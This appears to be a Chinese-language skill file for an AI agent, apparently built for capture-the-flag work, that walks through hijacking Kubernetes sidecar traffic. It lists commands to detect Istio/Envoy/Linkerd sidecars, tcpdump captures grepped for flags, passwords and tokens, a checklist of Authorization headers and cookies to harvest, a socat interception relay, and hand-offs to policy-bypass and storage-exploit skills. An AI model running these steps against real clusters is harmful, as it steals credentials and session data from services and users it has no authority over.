| name | k8s-sidecar-attack |
| description | Kubernetes Sidecar 容器流量劫持与敏感信息窃取。当目标 Pod 存在 Istio/Envoy/Linkerd sidecar、题目提到'隐形旁观者'或'共享网络'、或需要从 Pod 内部嗅探流量时使用。覆盖 tcpdump 抓包、sidecar 明文流量捕获、共享网络命名空间利用。只要在 K8s Pod 中发现有 sidecar 或多容器共存的迹象,就应使用此技能 |
| metadata | {"tags":"k8s,kubernetes,sidecar,istio,envoy,tcpdump,traffic,sniffing,流量劫持,抓包","category":"cloud"} |
Kubernetes Sidecar 流量劫持
同一 Pod 内的所有容器共享网络命名空间——这是 K8s 的设计决定,也是攻击者的福音。Sidecar 容器(如 Istio Envoy)发送的流量可以被同 Pod 的任何容器通过 tcpdump 直接抓取,因为它们共享同一张网卡。
Pod 网络命名空间(共享)
┌──────────────────────────────────┐
│ [你的容器] ←── 同一网卡 ──→ [Sidecar] │
│ ↓ ↓ │
│ tcpdump 能抓到 sidecar 的所有流量 │
└──────────────────────────────────┘
Phase 1: 检测 Sidecar
ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd'
env | grep -i istio
ip addr
cat /etc/resolv.conf
Phase 2: 流量抓包
Sidecar 内部通常使用 HTTP 明文通信(mTLS 在 Envoy 层终止后再转发),所以 tcpdump 能直接看到请求内容。
基本抓包
tcpdump -A -vvv
tcpdump -A -s 0 'tcp port 80 or tcp port 8080'
tcpdump -A -s 0 | grep -i -A5 'flag\|secret\|password\|token\|key'
tcpdump -w /tmp/capture.pcap -c 1000
针对性抓包
tcpdump -A host <target-service-ip>
tcpdump -A -s 0 'tcp dst port 80' | grep -A 20 'POST'
Phase 3: 分析结果
抓到的流量中寻找:
- HTTP 请求/响应体 — flag、token、credential
- Authorization Header — Bearer token、Basic auth
- Cookie — session ID
- POST body — 表单数据、JSON payload
- Service 间通信 — 内部 API 调用暴露的敏感数据
无 tcpdump 时的替代方案
cat /proc/net/tcp
cat /proc/net/tcp6
ss -tlnp
netstat -tlnp 2>/dev/null
socat -v TCP-LISTEN:8080,fork TCP:<target-svc>:80
注意事项
- 流量可能是周期性的(cron job、定时上报),需要持续监听至少 30-60 秒
- 关注
reporting-service、metrics、webhook 等命名的服务请求
- 如果抓到的全是加密流量,说明 mTLS 没在 sidecar 层终止——换思路,尝试
Skill(skill="k8s-istio-bypass") 绕过策略
相关技能
- 还没做服务发现?先
Skill(skill="k8s-network-recon") 确定有哪些服务
- 发现 Istio AuthorizationPolicy 阻拦 →
Skill(skill="k8s-istio-bypass")
- 发现 NFS/EFS 挂载 →
Skill(skill="k8s-storage-exploit")